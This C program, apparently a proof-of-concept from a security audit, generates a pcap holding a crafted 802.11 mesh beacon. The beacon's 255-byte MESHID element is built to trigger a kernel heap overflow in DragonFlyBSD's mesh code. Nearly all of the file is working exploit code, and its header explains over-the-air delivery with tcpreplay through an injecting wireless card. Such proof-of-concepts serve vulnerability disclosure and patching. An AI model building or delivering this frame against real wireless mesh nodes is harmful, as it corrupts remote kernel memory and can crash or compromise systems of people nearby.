/*
 * frame_craft.c - DF-0285 attacker-payload generator
 *
 * Produces the EXACT 802.11 mesh beacon that, when received by a DragonFlyBSD
 * vap in MBSS (mesh) mode, drives a malformed MESHID Information Element through
 * ieee80211_input.c's beacon IE parser into ieee80211_parse_meshid() and fires
 * the heap overflow at ieee80211_mesh.c:3460:
 *
 *     memcpy(ni->ni_meshid, ie + 2, ie[1]);   // ie[1] unchecked, up to 255
 *
 * Output: a pcap (libpcap 2.4 magic, link-layer DLT_IEEE802_11 = 105) written
 * to stdout containing ONE beacon frame whose MESHID IE has length byte 0xFF
 * (255) and an attacker-chosen 253-byte body (a recognizable marker pattern so
 * the overflowed bytes are identifiable in a kernel memory dump).
 *
 * DELIVERY (NOT possible on this audit guest -- no wifi hardware):
 *   This pcap is replayed via a real 802.11 radio in monitor+inject mode, e.g.
 *     tcpreplay -i wlan0mon df0285_beacon.pcap     (Linux, ath9k)
 *   or fed straight to an injecting driver. On receipt by a DragonFly mesh vap
 *   the kernel calls ieee80211_parse_beacon -> stores scan->meshid (input.c:622)
 *   -> ieee80211_mesh_init_neighbor -> ieee80211_parse_meshid -> overflow.
 *
 * This program is a *deterministic byte-level artifact builder*. It builds and
 * prints the frame and writes the pcap; it does not touch any kernel. Run it
 * anywhere; the bytes are the proof of the attacker payload.
 *
 * Build: see build.sh
 * Run:   ./frame_craft > df0285_beacon.pcap ; xxd df0285_beacon.pcap
 */
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* ---- pcap file header (libpcap native, little-endian) ---- */
struct pcap_sf_pkthdr {
    uint32_t magic;     /* 0xa1b2c3d4 */
    uint16_t version_major, version_minor;
    int32_t  thiszone;
    uint32_t sigfigs;
    uint32_t snaplen;
    uint32_t linktype;  /* 105 = DLT_IEEE802_11 */
};
struct pcaprec {
    uint32_t ts_sec, ts_usec;
    uint32_t incl_len, orig_len;
};

/* minimal 802.11 IE / frame constants we need */
#define IEEE80211_FC0_SUBTYPE_BEACON   0x08
#define IEEE80211_FC0_TYPE_MGT         0x00
#define IEEE80211_FC0_VERSION_0        0x00
#define IEEE80211_ELEMID_SSID          0x00
#define IEEE80211_ELEMID_RATES         0x01
#define IEEE80211_ELEMID_DS            0x03
#define IEEE80211_ELEMID_MESHID        114   /* 0x72, DragonFly's mesh ID */
#define IEEE80211_ELEMID_MESHCONF      115

/* attacker-controlled MESHID IE length. 0xFF (255) is the worst case: it
 * overflows ni_meshid[32] by 223 bytes. Anything in (32..255] triggers it. */
#define ATTACK_MESHID_LEN 0xFF

static uint8_t frame[2048];
static size_t flen;

static void putb(uint8_t v){ frame[flen++] = v; }
static void put16(uint16_t v){ putb(v & 0xff); putb((v>>8)&0xff); putb(0); putb(0); } /* LE-ish timestamps only */
static void putbuf(const uint8_t *p, size_t n){ memcpy(frame+flen, p, n); flen += n; }

int main(int argc, char **argv)
{
    const char *out = argc > 1 ? argv[1] : "df0285_beacon.pcap";
    FILE *f = strcmp(out,"-")==0 ? stdout : fopen(out, "wb");
    if (!f) { perror(out); return 1; }

    /* ---- build the 802.11 management beacon frame ---- */
    /* Frame Control: type=MGT(0), subtype=BEACON(8), version 0 */
    putb(IEEE80211_FC0_VERSION_0 | IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_BEACON);
    putb(0x00);                 /* duration / flags */
    uint8_t addr1[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; /* DA = broadcast */
    uint8_t addr2[6] = {0x02,0x00,0x00,0x00,0x00,0x01}; /* SA = attacker "mesh peer" */
    uint8_t addr3[6] = {0x02,0x00,0x00,0x00,0x00,0x01}; /* BSSID */
    putbuf(addr1,6); putbuf(addr2,6); putbuf(addr3,6);
    put16(0); /* this is a hack for seq ctrl; use real 2-byte seq below */

    /* fix: seq ctl is 2 bytes, not 4. rewind and write properly */
    flen -= 4; /* undo the bogus put16 */
    putb(0x00); putb(0x00);    /* seq ctl */

    /* ---- fixed fields (beacon body) ---- */
    /* timestamp: 8 bytes */
    putbuf((uint8_t[]){0,0,0,0,0,0,0,0}, 8);
    put16(0x0064); /* beacon interval = 100 TU (LE: 64 00) -- write 2 bytes */
    flen -= 2; putb(0x64); putb(0x00); /* 2-byte LE beacon interval */
    /* capability info: 0x0800 = ESS short-preamble-ish; 2 bytes LE */
    putb(0x00); putb(0x08);

    /* ---- Information Elements ---- */
    /* SSID (wildcard, len 0) -- required for parse */
    putb(IEEE80211_ELEMID_SSID); putb(0);
    /* Supported rates (1 byte payload to satisfy parser) */
    putb(IEEE80211_ELEMID_RATES); putb(1); putb(0x82);
    /* DS params (channel) */
    putb(IEEE80211_ELEMID_DS); putb(1); putb(6);

    /* === THE WEAPONIZED IE === MESHID with length 0xFF === */
    size_t ie_off = flen;
    putb(IEEE80211_ELEMID_MESHID);          /* ie[0] = element id */
    putb(ATTACK_MESHID_LEN);                /* ie[1] = 255  <-- the unchecked length */
    /* 253-byte body. First 32 bytes fill ni_meshid legally; the remaining 223
     * bytes are the overflow. We use a marker so the OOB bytes are visible in
     * a kernel dump: 0x41 ringed with a 4-byte tag at the overflow start. */
    putbuf((const uint8_t*)"DF285", 5);                 /* tag so we can find it */
    for (int i = 0; i < ATTACK_MESHID_LEN - 5; i++)
        putb(0x41);                                   /* 250 bytes of 'A' */
    size_t ie_end = flen;
    fprintf(stderr, "[frame_craft] MESHID IE at frame offset %zu, id=0x%02x len=%u, body=%zu bytes\n",
            ie_off, IEEE80211_ELEMID_MESHID, ATTACK_MESHID_LEN, ie_end - ie_off - 2);

    /* ---- write pcap ---- */
    struct pcap_sf_pkthdr ph;
    ph.magic = 0xa1b2c3d4; ph.version_major = 2; ph.version_minor = 4;
    ph.thiszone = 0; ph.sigfigs = 0; ph.snaplen = 65535; ph.linktype = 105;
    struct pcaprec rec = { 0, 0, (uint32_t)flen, (uint32_t)flen };
    fwrite(&ph, sizeof ph, 1, f);
    fwrite(&rec, sizeof rec, 1, f);
    fwrite(frame, 1, flen, f);
    if (f != stdout) fclose(f);

    fprintf(stderr, "[frame_craft] wrote %zu-byte beacon frame to %s (pcap DLT 105)\n", flen, out);
    fprintf(stderr, "[frame_craft] TRIGGER: on a DragonFly MBSS vap, receipt of this frame\n");
    fprintf(stderr, "             overflows ni_meshid[32] by 223 bytes into ni_mltimer/.toc.\n");
    fprintf(stderr, "[frame_craft] NOTE: no wifi HW on this audit guest => not delivered here.\n");
    return 0;
}
